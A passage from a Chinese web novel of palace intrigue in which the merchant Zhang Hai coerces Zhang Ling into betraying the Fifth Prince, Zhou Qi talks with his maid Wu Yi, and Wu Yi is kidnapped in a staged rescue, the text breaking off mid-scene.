“张老板何事这么着急啊?生意上的事情,我不说叫你都与大掌柜商量吗?咱们总是这么往来,万一被钱家看见了,春茶的事情可就要黄了。”张灵生气地坐下。 张海笑容玩味,“张小姐,最近我左思右想,觉得春茶的生意,还是欠妥当?” “什么意思?” “张某本是小本经营,张小姐却将我装点一番,充当个大个,可有句话说得好,天塌下来,又大个的顶着,而张某不才,想想我也不是那顶天立地的人。所以……” 张灵脸色阴沉,双手环胸,翘着二郎腿,“张老板这是要翻脸不认人了?赚了那么几个小钱,就打算卸磨杀驴?哼,我张灵虽然年纪不大,却还是第一次见到你这样,抱着芝麻,不要西瓜的。” 张海却站了起来,“张小姐何必气恼?”张海直截了当,“张小姐明明知道我们之间,根本没有什么生意。” 张灵下意思皱眉,“你什么意思?” 张海眼神凌厉,“张小姐,五皇子承诺了你什么,你这么给他卖命?” 张灵倒吸一口凉气,“你,我不知道你什么意思。” “哼。”张海阴笑道:“我张海在徽州,的确输给他很多次,甚至输掉了我苦心经营多年才在三皇子面前赢回来的看重。” 张海毫无迹象地一把掐住张灵的脖子,“你以为你是谁呀?五皇子戏耍我也就罢了,你个贱人,也敢不把我放在眼里!” 张灵毫无准备,见张海眼睛瞪得极大,似乎要将眼珠瞪出来,尤其他分明是下了狠心,手劲大的,张灵已经无力抵抗,只能无力地用双手攥着张海的手腕。 “你以为你给我画了这么大一个饼,我张海就能傻子一样被你牵着鼻子走?如今怎么样呢?你还不是落在我手上。 我要是现在杀了你,你以为那个周大人,他会帮你报仇吗?你太看得起自己了吧!不如让我告诉告诉未来会怎么样,他会回京去当他的乖儿子,去争那太子之位,而你,不过就是他利用完就扔的棋子。如今你暴露了,你还有什么利用价值?你死了就死了,他连眉毛都不会皱一下! 现在,你知道了吧?你的命,攥在我手里了!” 张灵被张海攥着,无助地留下一滴泪来。 张海突然笑了,还松开了张灵,“可是你这么死了,就不好玩了。” 张灵剧烈的咳嗽着,她不知道张海怎么突然变聪明,看穿了她的所有把戏,但是如今她身在张海府上,简直就是身陷险境,完全没有还手之力。 张海阴笑道:“张小姐是不是觉得,自己聪慧异常,别人都是傻子?你们张家好歹也当过商界第一家,你爹就没有教过你,不要小看别人吗?” 张海冲到张灵面前,双手撑在椅子上,脸部几乎贴上了张灵的脸颊,“你说,我要是把你攥在手里,你们张家会不会赎你呢?哈哈哈,可能不会吧,毕竟你就是一个贱人!但是我要跟他们说,你得罪了三皇子,三皇子很不爽你们张家,你猜,他们会不会舍弃你,保全家族呢?” 张灵带着哭腔,“你,你到底想干什么?” “张小姐如此聪慧,你说呢?” 张灵头脑快速旋转,“你想对五皇子不利?” “怎么?张小姐难道已经对五皇子情根深种,无法自拔了?你会为了他付出生命?哈哈哈,你这么做,对你又有什么好处?你死也就死了!” “张老板,若是我现在答应了你,出门就告诉五皇子你的谋划,你岂不是功亏一篑?” “你不会的。” “为什么?” “张小姐记得这两旬,我接触过的那些人吗?都是你的人吧?可是他们现在都在我的手上!” 张灵嘴角上扬,“在你手上又怎么样?他们不过是伙计,我要是拼着他们的性命不要,你又能拿我怎么样?” “我说他们在我手上,又不是要威胁你。你说,如今圣心不明,三皇子与五皇子内斗,皇上会怎么想?尤其对那个先动手,咄咄逼人的人,皇上还能有好脸色吗?到时候,五皇子可就得想起他的谋划出现纰漏,是从你这个贱人开始的,他还能咽的下这口气吗? 也许你正在想,五皇子睿智,又是嫡皇子,不一定会落败。但是这样,对你们张家,对你,简直就是更大的灾难。因为三皇子会率先发难,叫你张家万劫不复! 张小姐,你说,你们张家要是因为算计皇子被抄了家,你这个大小姐会不会被发卖? 嗯?张小姐,不用担心,看在我们之间的情谊,我一定会将张小姐买下,好好对你的!”张海抚摸着张灵的脸,张灵心里一阵恶心。 “你想让我怎么做?” “张小姐真是女中豪杰。” —— 张灵从张海府上出来,一路漫无目的地走着。 她想不通是哪里出了纰漏,只觉得天地变色,所有的算计都成了笑话。 “张小姐,张小姐?” 张灵被人拍了一下才反应过来,“吴怡?” “张小姐,你没事吧?” “哦没事,我没事。” 吴怡提着菜篮子,见张灵脸色惨白,“张小姐,你真没事啊?是不是不舒服?要不我送你回去吧。” “不用,不用。”张灵强打精神,“我这就快到了,不用你送了,你快回去吧,省得大人等着饭吃了。” 吴怡点点头,刚走出去两步,又被张灵叫住。 “吴怡,你说,要是你,我说如果啊,有人跟你说有一个机会,能让你赚好多好多钱,多到数都数不清,但是你的家人会受到伤害。那你,是选钱,还是选你家人平安?” “那当然是家人平安啊!” “吴怡,不是一两二两的银子,是一座金山,取之不尽用之不竭,你下半辈子,都不用为了钱发愁了。” “这么多?” “是啊,很多很多。那你选……” “我当然选我爹平安呀。” 张灵哑然失笑,“若是万事都这么好做抉择,所有人都没有什么可以发愁的了。” “瞧张小姐说的,我想赚钱就是为了我和我爹能过上好日子,要是我赚了钱,我爹却不在了,那我还要钱做什么?” 张灵微微一笑,心想:张家已经如此有钱,不如意的事情还是一件接着一件,如果探本寻源,还是缺少一些权力。 这么想着,张灵已经决定好了。 第一百三十三章 周启吴怡谈心 - 风吹繁花散落时 - 红酒羊排 张灵与张海假戏真唱,一切都按照周启的预期顺利进行。 距离周启离开徽州,只剩下最后五天。 “大人?大人?” 周启好不容易收回思绪,见吴怡正疑惑地看着自己,“嗯?” “吃饭了!” “哦。” 吴怡抱怨道:“每次叫你吃饭都费了老劲了。” “我刚才想事情,没听见。” “咦?” “怎么了?” “我还以为你又要发脾气,说我一个小丫头,指点起大人来了。” 周启提高了声音,“我有那么爱发脾气吗?” “你看你,还说不爱发脾气?”吴怡指着周启,好像先生发现弟子做错了事,当场抓住一样。 周启才不会在意这些,他小时候在学堂做错了事,先生就算当场抓住了他,受罚的也是李博。 周启抬手打掉吴怡的手,“饭呢?” “周大人。”吴怡双手撑在书桌上,“以前是谁说,书房不得饮食!现在倒好,每天都得给你端进来!自从咱们来了县衙,那餐桌就天天摆在那里,从来没有用过。” “不会都落灰了吧?” “怎么可能?我每天都擦。”吴怡忽然觉得有点不对,“好哇,你就是怕我偷懒是不是?哼,我吴怡当杂役,那是相当勤奋的。” 周启鄙视到:“有什么好自豪的?” “我当然自豪了。”吴怡郑重其事,“跟你比肯定是比不了啊,但是我以前坑蒙拐骗,从来都没觉得有什么不对,如今我都会好好生活了,能不自豪嘛。” 周启笑着点点头,“那倒是,看来本官要好好赞扬你一番。” 吴怡眼睛凉了起来,“是不是要给我涨工钱?哈哈哈,行啊!” “你眼里是不是只有钱啊?” “眼里没钱还能有什么?周大人,口头表扬,没用。” 周启再次被吴怡气笑了,“可我是真心的。” 吴怡噘着嘴,“真的?” “真的。” “我还是比较想要钱。” 周启起身,“你想要什么,本官知道了。但是你知道,本官想要什么吗?” “什么?” “饭啊!吃饭!饭呢?” 吴怡赶紧去端,回来的时候,已经气鼓鼓,“一天到晚就知道欺负我,我都不想跟你去京城了。” “那可不行啊!”周启突然有点紧张,“这还有五天了,你别给我掉链子。” 吴怡不情不愿,“那你能不要老欺负我吗?” “为什么?凭什么?”周启得意地笑着,他觉得这是一天中最放松的时刻。 “切!”吴怡搬了把椅子过来,坐在周启对面。 “我说你这么没规矩可不行啊,我家规矩可大,小心我娘打死你。”周启嘴上嫌弃,却已经端起饭碗吃饭,并没有真的赶吴怡离开。 吴怡更加无所谓,“你娘这么厉害?那我不跟你回京城了。” “不行!” “怎么不行?我又没有卖身,我想去就去,不想去就算了。” “好好好,我答应你,以后你犯了错,我帮你求情。不过你记住啊,只有一次!” “切,谁用你求情啊?只要你不害我,我好得很。” 周启再次展露笑容,只是很快收敛住了。 “吴怡。” “又要干嘛?” 周启摇摇头,却很快开口道:“你想过……以后吗?” “想过啊,我不是告诉过你嘛。” “我没问你爹,我就问你。你总不能一直当丫鬟杂役吧?我家……我家可不养闲人,等你老了,我家肯定把你轰出去。” 吴怡翻了个白眼,“大人,你到底想不想让我跟你回京城啊,你干嘛一直吓唬我?” “我这是看你太笨了,帮你规划一下。” 吴怡真的被周启气到了,一筷子夹走了周启要夹的菜。 “你!” “略略略,真好吃。” 周启一筷子夹起一大块肥肉,递给吴怡,“都吃了啊,别浪费。” 吴怡竖着筷子将肥肉拌在饭里,怨念地瞪周启。 “我刚才问的,你还没有回答我。” “什么?” “未来,你没想想你以后要过什么样的人生嘛?” “我当然想过啦,我呀,想买个小院子,然后我,我爹,我的孩子,都住在一起,每天其乐融融,开开心心。” “那你相公呢?” 吴怡腼腆一笑,“他啊,当然是做个小本生意,白天就出出摊子,晚上就回到家,和孩子们一起玩一玩。” 周启忽然觉得自己很自私,因为这样的生活,他没有办法给吴怡。 “听起来很幸福的样子。” “那可不。” “吴怡,若是你想要个小院子,我可以送你一个。” “不用,你都送我爹一个了,再送我一个,多不好意思。” “嗯?你不说你们父女要住一起吗?你爹的房子,太贵了,我打算收回来。如果给你买个小院,根据价差,没准还能剩下点。” 吴怡等着周启,“大人也太会算计了吧!” “在这商贾如云的徽州城,谁都能学会做买卖。” 吴怡更加怨念,“为什么我没学会?”吴怡敲着自己的脑袋,“要知道当时好好和钱宁学习了,没准现在都自己赚出来一个小院子了。” 周启望向吴怡,说道:“你都学会自力更生了呀,也是不错的。” 吴怡一听,心里顿时明亮起来,重重地点点头,“嘿嘿,也对。” “哦对了,周大人,我进来之前,你想什么呢?那么入神,我叫你好几声,你都没听见。” 周启忽然想起,“吴怡,你觉得张灵怎么样?” “张小姐?挺好的呀。” “那钱朵呢?” “挺好的呀。” “那李婶呢?” “那就更好了呀。” “那,李博呢?” “嗯…傻乎乎的。” “那,我呢?” “哼,最坏!” 吴怡起身收拾碗筷,却被周启一把拉住,“我怎么坏了?” “你还不坏?天天发脾气,欺负我,算计别人,你可不最坏嘛?” “那钱宁呢?你觉得他怎么样?” “你到底想问什么呀?” “我想问,我想问你,我在你心里…怎么样?” “我不都告诉你了嘛。” “哎呀,你这个笨女人!” 吴怡将手中的碗筷一摔,“你又说我笨!你那天才说以后再也不说我笨了,这连一个月都没过呢,你又忘了?” “好好好,我的错我的错,不说了。” “你发誓。” “我…你要是不这么笨,我以后就不说了。” “你!哼,不理你啦!” 周启见吴怡生着气,却还没有转身离开,觉得心里一暖,笑着说道:“其实你这样挺好的。” “你不用安慰我,我知道我笨,你是状元老爷,我当然没有你聪明了!” “吴怡,我说真的。”周启突然惆怅道:“我从小啊,长在一个复杂的家庭之中,我知道如你这般心思单纯是一件多么不容易的事情,况且你这些年生活不易,还能拥有这样的乐观精神,是多么可贵。” 吴怡被周启这么一说,心里乐滋滋,双手撑着头,跨坐在椅子上,晃荡着双脚,“那倒也是。嘿嘿。” 周启见吴怡开心成这样,又忍不住打击她。 “哎哎哎,那你这个聪明人,不如帮我想想?” “想什么?” “张灵啊。” 吴怡眯着眼,奸笑道:“哦…我知道了,你喜欢张小姐,是不是?” “你别胡说。” “嘿嘿,被我知道了吧?”吴怡绕过桌子,一手把着周启的肩膀,一手指着周启,“大人,春心荡漾了吧?” 周启很无奈,“你个小丫头,胡说八道什么!” “嘿嘿,大人不必不好意思,我懂。” “你懂什么?” 吴怡直起身子,一只手摸着自己的下巴,“哎呀,那李大人可能要伤心了。” “啥?” “李大人对你是真好,凡事都想着你,就是可惜是个男的,否则你收了他当小妾也没什么嘛,你不是大户人家嘛。” “你这么说,李博知道吗?” “哎呦周大人,你们的事情,全城百姓都知道了,不用遮遮掩掩了。况且你忘了,我可是亲眼看见…” “你看见什么?!”周启服了吴怡的想象力了,赶紧说道:“我问你张灵怎么样,是想跟她做比生意。” 这两天,周启手头的事情都结的七七八八,闲暇下来的周启终于想起张灵去套路张海的事情,他忽然觉得最近太顺利了,这可不是什么好事。 “做生意?” “是啊,谁想到你个小丫头,脑子里装些什么乱七八糟的东西。” 吴怡已经失去了兴趣,“做生意啊,那没问题啊,以前钱宁说过,与张小姐做生意,大可以放心。” “钱宁这么说?” “恩,钱宁说,张小姐眼光独到。他们做了几次生意,都很愉快,没有赔的,只有顺利不顺利而已。” “那要是,这笔生意横生枝节,被人拿住了呢?” “嗯?”吴怡实在不明白周启在说什么。 周启只好解释道:“就是说,张灵发现,他的合伙人不一定能给他那么大的回报,而对家却向她抛出了橄榄枝。” “嗯…这个钱宁可没说。” “做生意没有赔的?”周启思虑道:“做生意都是有赔有赚的,除非她时常改变策略,审时度势。” “这不是很好吗?反正赚到钱就行了嘛。” “那可不行。” “为什么?” “因为被她抛弃的搭档,会输。” “那倒也是。哎呀。”吴怡突然想起来,“那天我看见张小姐魂不守舍,还问了我奇怪的问题。” 周启搜的一下站起来,“什么问题?” “就是问我,赚钱和家人的安危,哪个更重要。” 周启心里一沉,“你怎么说的?” “当然我爹重要了。” “那她怎么说的?” “她?我忘了。” “哎呀你赶紧想想!” “都过去两旬了,我真的不记得了。” “吴怡。”周启双手把着吴怡的肩膀,“你一定要想起来,这很重要!” 吴怡被周启把着,心脏砰砰砰的跳个不停,她面红耳赤,居然真的想起来了,“张小姐什么都没说就走了!” 第一百三十四章 局中局(上) - 风吹繁花散落时 - 红酒羊排 “吴怡!” 吴怡挽着大菜篮子正准备去买菜,听见叫声,回头的瞬间被打晕装进了麻袋。 — “五皇子没有起疑心?” “他现在忙着交接,又说防止你知道我们的关系,便交我全权处理与你的事情。” 张海笑容玩味,绕着张灵走了两步,“张小姐如此得五皇子器重,不会是有什么……嗯?“ 张灵怒眼圆睁,“我劝你嘴巴放干净一点!” “哈哈哈,张小姐别生气啊。我不过好奇,我真想早点看见五皇子那张一败涂地的脸,尤其是……”张海死死盯住张灵,眼神冰冷,“当他知道,是你张灵背叛了他,他会作何感想呢?!” “所以,你就做的干净一点,将他打倒在地,再也爬不起来!” 张海笑着摇头道:“张小姐真是女中豪杰,够狠。” 张灵一摔绣帕,转身离去。 张海大笑道:“你放心,三皇子面前,我一定给你美言几句。说不定,你还能当上太子妃。” —— “张海就没起疑心?” “现在还做着发财的美梦呢。” 李博笑着说道:“恐怕是之前与你过的那几招都不太顺利,在三皇子面前失了宠了吧?如今他傍上了张灵,想找回点场子?” 张灵点头道:“应该是。” 李博说道:“大人,我看这个张海,的确是个草包。” 周启勉强一笑,虽然与李博说话,却看向张灵,“三哥既然派张海前来,他就一定不是一个傻子。” 张灵睫毛不自觉忽闪两下,心脏竟然剧烈地跳动起来,张灵强装镇定,说道:“张海定然不笨,只是没有大人睿智罢了。” “是吗?可是我从小就知道一个道理,看轻敌人,就是看轻自己,看轻自己,离死,可就不远了。” “大人所言,张灵,受教了。” 李博觉得气氛诡异,“大人?” “不过既然张小姐觉得张海没有起疑,我们就按计划行事吧。” 张灵施了个万福,“是。我明天就和张海说,资金出了问题,希望他能拿出来银两应急。以我探查到的他的资金量,他定然没有。那个时候我便顺手推舟,让他请人做担保。 给这么大货量做担保,非达官显贵所不能,就算是一些房产地产,只要按图索骥,定能知道那些财产的所有者,只要与三皇子,甚至是户部尚书李天时有关,就算是铁证如山。” 张灵快速撇了一眼周启,周启便继续说下去,“皇上圣明烛照,却已经半百之年。我的大哥、二哥早已经亡故,三哥便是长子,而我是嫡子。 自古以来,立嫡立长,一直争议不断。史书上,嫡长之争,血迹斑斑。 皇上数独史书,自然明白我和三哥早晚水火不容,而他最不想看到这种情况。 若是我拿出证据,证明三哥勾结徽商,意图谋取太子之位,他便是众矢之的,难以自辩。” 李博信心满满地分析道:“就算三皇子没有被皇上驱逐,私下联络朝臣,勾结商人,也会是盘桓在皇上心中的一块疑云,很难散去的。” 周启点点头,对张灵说道:“所以这一次,不能出任何意外。” “若是…” 张灵还没有问出问题,周启已经回答道:“若是我失败,情况便会反转。我将成为构陷皇帝长子的人,是一个野心勃勃的嫡皇子。 张小姐,我…我虽然是大周唯一的嫡皇子,身份尊贵,却也是大周最左右为难之人。 我外公是当朝宰相,权柄在握,我母后是当朝皇后,身份尊贵。我妹妹,很快将成为大周的有功之臣,而我,会娶来自回纥的公主。张小姐,你觉得我在朝中算不算是,如日中天?” 张灵点头,听周启继续说道:“可天上只有一个太阳,而且,只能有一个太阳。 我登上更高的位置,也就意味着我离太阳就越近。而离太阳太近,唯有粉身碎骨,身死消融。 所以,这次,我不能输,因为我,没资格输。” 张灵一直低着头,再一次重重点头,“是,不能输。” “张小姐。”周启双手把着张灵的肩膀,“你还记得之前你跟我说的话吗?你说你会帮我的,你还记得吗?” 张灵涨红了脸,“我当然会帮您啦,我真的愿意付出所有,只要您能登上那至尊之位。” 周启笑了,“那就好。”周启望向远方,“希望我们能一起登上那至尊之位,希望我的身边,有你。” 张灵心情澎湃,“嗯。” — “张小姐怎么这么快就回来了?”张灵去而复返,张海知道不妙。 “情况有变。” “哦?” “周大人似乎觉得,你没有本事请李天时做保。他怕抓不到三皇子的把柄,在圣上面前,出了差错。” “你放心,我交给你们的保物,自然与李天时有关。” “哦?” “文书我都找人做好了。” “这么说,李大人已经知道这件事了?” 张灵见张海眼神飘忽了一下,便步步紧逼,“张老板,你背后之人还不知道这件事? 哦,我知道了。你是想让五皇子到皇帝面前揭发三皇子勾结徽商,正当三皇子焦头烂额之际,你献计于李天时,意挽狂澜。 我说的对吗?张老板?” 张老板嘴角上扬,竟然好污隐瞒,“张小姐是聪明人,那张小姐觉得我的计划,怎么样?” “你为什么不干脆直接杀了五皇子?” “杀五皇子?”张海好像看着一只怪兽一样看着张灵,“谋杀皇子,多大的罪名?我张海可担不起。 反正现在也不急,我与你多说两句也你什么。 如果我真的走到了那一步,我必须刺杀五皇子才能保住性命,张小姐,你不用怀疑,我都不会犹豫,我一定会动手,即使在刺杀他的时候死了,也好过去大牢里,尝遍刑具的好。 再来说说我得手了的情况。 我刺杀皇子成功,只是我登上云梯的第一步。我要怎么躲过李博的追捕?我又要怎么躲过朝廷的追查? 若是三皇子一时高兴,对我施以援手,庇护了我,时日一久,尤其是一有风吹草动,他会不会觉得我是个拖累?会不会觉得我当初选了一个最笨的方法向他表忠心? 那个时候,我还有什么价值活下去? 况且,一但东窗事发,他一定第一个抛弃我,就如他们毫不犹豫地抛弃了张广一样。 所以,我这个为他三皇子荣膺东宫太子的有功之臣,他三皇子和李天时,不敢接着! 张小姐,我若是谋杀皇子,第二个死的,就是我了。” 张灵只是担心张海回走极端,破坏了她所求之事。既然张海分析得已经如此明白,张灵自然不再多做计较。 “现在你还有什么疑问吗?” “我倒是很想知道,你是怎么发现我要骗你的?” “哼,你以为我张海这么多年,就混成了一个光杆司令?我的人看见你和李博接头了。虽然那个时候,他穿着衙役的衣服,假装盘查路人。可是他身上那股劲,我的人原话是说,他就差给自己额头上刻一个,我是官员了。” 张灵哑然失笑,“原来是李博坏事。” “还有,你是怎么知道周大人,是五皇子的?” 张海还想很满意似的,笑得很开心。“我等你这个问题等了好久了,我真的很想与你说说,我到底是怎么看穿五皇子身份的。” “哦?愿闻其详。” “五皇子真是好算计,那个二愣子,何等人物,竟被五皇子算计得毫无还手之力。最后你猜怎么着,人就那么被两个侍卫拖出去,砍了。连朝廷,他都没有上报。 不是有句话吗,天子一怒,伏尸百万。他五皇子一怒,一个人,一个枭雄,就被他轻描淡写地抹去了。 在史书上,他们刘家,在那次起兵谋反中,就全家尽灭了。可是史书上,多少挫骨扬灰,所以又有谁在意一个小将领的家人?毕竟那次,当年的皇长子被贬为庶人,最后赐死了。 大家的目光,向来聚焦在更大的人物身上,谁会在意小人物的悲欢离合?” “这和你知道周大人的身份,有关系吗?” “就在那天,我想起他五皇子的豪言壮语来。” “什么豪言壮语?” “他说他不当官之后,脾气会更大呢。我觉得,你不是再说气话。” “这你就猜到了?” “当然不是,我张海又不是什么神人,否则也不能连输多次,输的真是一败涂地呀。” “张老板若是不想告诉我,直说好了,何必绕圈子。” “张小姐别急呀,我接下来就是要说了。 其实呢,我根本不用猜,是别人告诉我的。” “谁?” “张广。” 张灵本来满是期待的眼神一下子怒火中烧,“你何必在这件事上骗我,我们都已经是拴在一条身上的蚂蚱了。” “我可没骗你,不信你回去问问五皇子,他是不是叫张广对我说,他已经知道我们背后之人是三皇子,叫我不要轻举妄动?还说,他会看着来往书信,只要我一联系京城,他就会知道?” 第一百三十五章 局中局(中) - 风吹繁花散落时 - 红酒羊排 徽州城内,暗流涌动,表面上是晋中商家女张灵与三皇子门客张海的对决,实则是五皇子与三皇子的皇储之争。 张灵左右逢源,既要保证切身利益不受威胁,还要顾念家人安危。 她比谁都清楚,如今的她,依仗的是张家百年经营的势力,而未来,她能依靠的,是整个皇族。 与其说,张灵在做一笔很大的买卖,不如说她在进行一场豪赌。与那些官场老手一样,她赌的,是谁能入住东宫之位! 三皇子与五皇子,长子与嫡子之争,是皇权起后,无数鲜血堆砌出来的战场。 张灵,已经无法独善其身了。 那就更进一步,成为搅-弄风云的那个人! —— “张小姐一定很奇怪吧?张广明明被五皇子控制住了,他五皇子何等精明,一定等着我去干掉张广呢吧?可是我没有,我非但没有,还因为他故意让李博放松的牢内带回了这么重要的消息。 周启,周开。 哼哼,我早该想到他们是一个人。 不过,还好,他也是刚知道我是三皇子的人,所以一切还都来得及!” 张海突然收敛了神色,方才想起张灵似乎并非来听他炫耀的。 “张小姐,你还没有说,你去而复返,所谓何事?” “我想请张老板,帮我看着一个人。” “什么人?” “吴怡。” “吴怡?”张海怎么会忘记吴怡呢,那个女人假装张灵,把他骗的团团转。 张海想起自己在吴怡那丫头片子面前那谄媚劲,就觉得自己蠢到家了。 张海很想现在就去抽吴怡两鞭子,却瞬间止住了报仇之心,“张小姐为何要绑架吴怡呢?据我所知,这吴怡是五皇子府上的杂役吧?虽说他一个皇子,不会在意一个杂役,可隰县县衙,屁大点地方,统共就两个外人。如今那女人失踪了,五皇子难免不会知道,万一他起了疑心,对我们而言,可是百害而无一利。” 张灵神秘地笑了,“就是要让他知道。” “什么意思?” “看来张老板的忘性有点大,不如我来帮张老板回忆一下。 那个土匪,以为五皇子独自出徽州,便觉得有机可乘,于小客栈中动手,却不曾想,李大人派遣的人,当场将其擒获。 张老板,我可以告诉你,李大人派遣侍卫前去保护五皇子的事情,五皇子事先并不知情。但是我觉得,他其实能够料到李博的下一步行动,才以身冒险。 事实证明,五皇子赢了。这当然仰仗他对李大人的了解,但更多的,是五皇子,天潢贵胄,得上天庇佑。 我们再来回忆一下张广被抓的情形。 那个时候,你们以为五皇子当了隰县县令,再也不能碍着你们什么了,便对他放松了警惕,后来你们以为他也会对你们放松警惕,你们就想趁虚而入。 可是谁知道,张广还是栽在了五皇子手上。 张老板,我也可以实话告诉你,李博派出去的那帮人,还是误打误撞才将张广抓了。 张老板,有没有觉得后背发凉?那五皇子分明就得上天庇佑,大难不死,幸运至极!” 张海倒吸一口凉气,“这个吴怡有什么关系?” “五皇子,聪明睿智,可是是人就会有软肋,而五皇子的软肋,起码在这个徽州城里,五皇子的软肋,就是这个吴怡。” “哦?你是说?”张海惊呆了,讥笑道:“张小姐可不要骗我啊,明天,我们可就要生死较量了,如今你弄这么一出,横生枝节,是要做什么呢?” “张老板,五皇子可能自己都没有察觉到,他对吴怡已经情根深中了。” “你怎么知道?” “男人看女人的眼神,是骗不了人的。” 张海大笑道,“没想到堂堂大周嫡皇子,竟喜欢上一个乡野丫头,真是滑天下之大稽!” 张灵也觉得这件事是个笑话,想她张灵何等聪慧,那钱朵又是何等娴熟,可五皇子竟然只喜欢吴怡。 “这五皇子在宫里,可有喜欢的女子呀?” “不曾听说,不过宫里的事情,谁又能知道多少呢。” “根据李大人所言,狂蜂烂蝶多得很,可是五皇子心中,从来没有真心对过一个女子。” “李大人?他为什么跟你说这些?” 张灵嘴角上扬,“张老板被我骗过一次,应该明白,做局嘛,就是你接触到的所有人都是我的人,也只能是我的人。” “哼,小丫头片子,连李博都能拿的住,张某佩服。” “拿住不敢说,探听点消息,可靠性还是有的。” “那张小姐打算怎么做?” “吴怡失踪,五皇子心内必将打乱,他乱了分寸,我们的事情便可顺利。” “他会为了一个女人,不顾与三皇子的皇储之争?张灵,退一万步说,要是他心内大乱,没有到皇帝面前去高发三皇子,我的计划可就泡汤了。” “所以你就帮我看着吴怡,不要死了。到了时候,你就把她放了。” “把她放了,她会不告诉五皇子她去哪里了吗?她可认得我。” “张老板,吴怡若是不认得你,我还不把她给你送来了。” “什么意思?” “那个女人,不知道五皇子的真实身份,你就告诉她,你把她弄来,就是为了告诉她这件事。” “然后呢?” “张老板是男子,自然不知道女孩子的心思。若是吴怡知道周大人是皇子,她必定极度震惊,无法相信。你再劝诫她几句,请她在你这里小住几日。等她回去,她定然不会告诉五皇子她去了哪里。” “会吗?她知道五皇子的真实身份,还不赶紧回去,上赶着巴结?” “吴怡若是这样的人,她早就嫁给钱宁了。” 张海自然知道钱宁被吴怡拒绝的事情,这件事,在徽商中都传开了,只是多捕风捉影,很多人并不信。但是张海觉得无风不起浪,他问道:“那个女人会不会早就知道五皇子的真实身份,想飞上枝头?” “那样不是很好吗?” “哦?” “按照张老板的算计,这一次你会救三皇子于水火,帮他力挽狂澜。可是五皇子是嫡皇子,他背后的家族势力不容小觑,你想在三皇子面前站稳脚跟,就要接连立下不世之功才行。 张老板,若是吴怡能被你所用,哪怕像李博至于我一样,没有完全被拿住,却能探听出确切的消息,张老板日后,必能大展宏图。” “哎呀呀,张小姐真是好算计,张某再次受教了。” “张老板客气。” “张灵,你前几日还给五皇子卖命,如今算计起他来,倒也是不遗余力。” “猛虎搏兔,亦用全力。况且我算计的是大周唯一的嫡子,我希望张老板日后,真的能助三皇子成事,这样,我才能确保我张家平安。” “张小姐真的只是想要保全张家?其实三皇子也是温文尔雅,一点也不比五皇子差啊。” 张灵摇摇头,心好像很累似的。 “不瞒张老板说,我张灵原本心气很高,觉得以我的聪明,去了宫里,也会大有作为。 可惜我遇到了张老板。 我还没有进入皇宫,就被张老板狠狠教训了一顿,我才知道那红砖绿瓦里,真是尔虞我诈,半点纰漏都出不得。 我累了,我不想去了。 我张灵做做生意,就算一辈子不结婚生子,也是逍遥快活,谁又能说出我一句半句? 所以啊,张老板,回京之后,请你好好辅佐三皇子,一路升迁上去。请你务必,要将五皇子钉在地下,让他永远也别再爬起来! 这样我张家才算是真的安全了,我张灵才算是,真的安全了。” “真是,蛇蝎美人呐。” 张海啧啧称奇,不禁感叹。 “张小姐放心,此次之后,我们二人桥归桥路归路,我张海可以保证,绝不再找张灵小姐乃至整个张家的麻烦。” 张灵满意地点点头,“吴怡我给你放门口了,你自己去取就好了。” — “呜,呜,呜…” 吴怡被人打晕,捆了手脚,塞住嘴巴,装进了麻袋,她真是叫天天不应,叫地地不灵。 张海派人抬着装有吴怡的麻袋在街上走了几里,又假装路遇歹人,恰巧救出了吴怡。 吴怡终于得救,可是一出麻袋,见到是张海,瞬间警觉起来。 “吴小姐,你没事吧?” “你想干什么?” “吴小姐别害怕,绑架吴小姐的坏人已经被我和随从打跑了,你现在很安全。” 吴怡蹲坐在地上,抬眼看见一个黑衣男子,硬朗英俊,不像歹人。 “谢谢张老板,” “吴小姐怎么被人绑架?” “我也不知道,我就是要去买菜。”吴怡泪水涟涟,“吓死我了,我以为我再也见不到了大人了,我以为我再也见不到我爹了,呜呜呜。” “吴小姐,吴小姐别担心,我这就送你回隰县县衙,我这就带你去见五皇子。” “嗯?五皇子?”吴怡被张海扶起来,腿脚却软弱无力。 “是啊,你如今被人绑架,虽然我正好救了你,你幸而无碍。可你怎么也得和五皇子说一声啊。” “我告诉我们大人就行了,不用告诉什么皇子了吧?我也不认识什么皇子,隰县来皇子了吗?” “哎呀。”张海一拍脑门,“你还不知道周大人就是五皇子吧!哎呀,是我多嘴了,是我多嘴了!” 第一百三十六章 局中局(下) - 风吹繁花散落时 - 红酒羊排 在张灵的算计下,吴怡从张海口中得知了五皇子的真实身份。 “吴小姐,这件事,张某实在不应该随意说出,吴小姐,你能不能不要告诉五皇子,是我说漏了嘴?”张海深深作揖道:“吴小姐,张某就是一个商人,若是被五皇子知道我泄露了他的身份,恐怕他会怪罪与我。吴小姐,皇子一怒,我这个商人,可是承受不住啊。” “吴小姐?吴小姐?” 张海见吴怡嘴巴微张,完全没有回过神的迹象。 张海心想:张灵猜的的确不错,要赶紧给吴怡洗脑才行。 “吴小姐是不是刚刚被吓到了?绑架吴小姐的人,吴小姐知道都是些什么人吗?” 吴怡机械地摇头,“我不知道,我没看见。” “那……吴小姐现在要回去吗?” 吴怡机械地点点头,张海却已经改弦更张,“可是我看张小姐这样,我实在无法放心,这……”张海四处张望,“这里还有点偏僻,路上没有人,离县衙还挺远的。哎呀,要不,要是吴小姐不介意,在下送你回去吧。” “东家,刘掌柜还等着您呢,今天那些货一定要发出去,否则就要赶不上交货日期了。” 吴怡终于回过神来,“张老板,你有事就不用送我了,我自己走就行了。” 吴怡刚走出去一步,腿上一软,有点踉跄。 张海赶紧扶住吴怡,“吴小姐,哎呀你这样,我实在是不放心啊。虽然我是一个商人,可也不能任由吴小姐这样走在街上,万一你出了什么事,我定要愧疚而死。吴小姐,吴小姐,不如这样吧,这里离我的府上其实很近,不如吴小姐先去我府上坐一会儿,等你缓过来一些,再回去不迟。” 吴怡脚上没劲,心里又很乱,便不自觉答应了张海的提议。 —— “吴小姐,实在不好意思,俗事缠身,怠慢了吴小姐。” 吴怡喝过了丫鬟端来的热茶,胃里暖后恢复了体力,她还来不及思考,张海便来到身边。 “张老板。”吴怡站起身来,“张老板哪里话,我还得谢谢张老板救了我呢。” 张海坐下后,也示意吴怡坐下,“吴小姐,有一个好消息,就是绑架你的人,我的人抓到了一个。 还有一个坏消息,嗯…就是,那些绑架你的人,似乎和官府有点关系…… 这个,就是不知道吴小姐怎么惹了官家?”张海低头摸着下巴,故作怀疑,“要说不应该啊,你可是五皇子的人,谁敢对你无礼?要不,咱们将那个绑匪叫进来问问?” 吴怡一头雾水,自然想知道那人为什么绑架自己。 绑匪起初很是嚣张,说到了官府,他也会安然无恙。 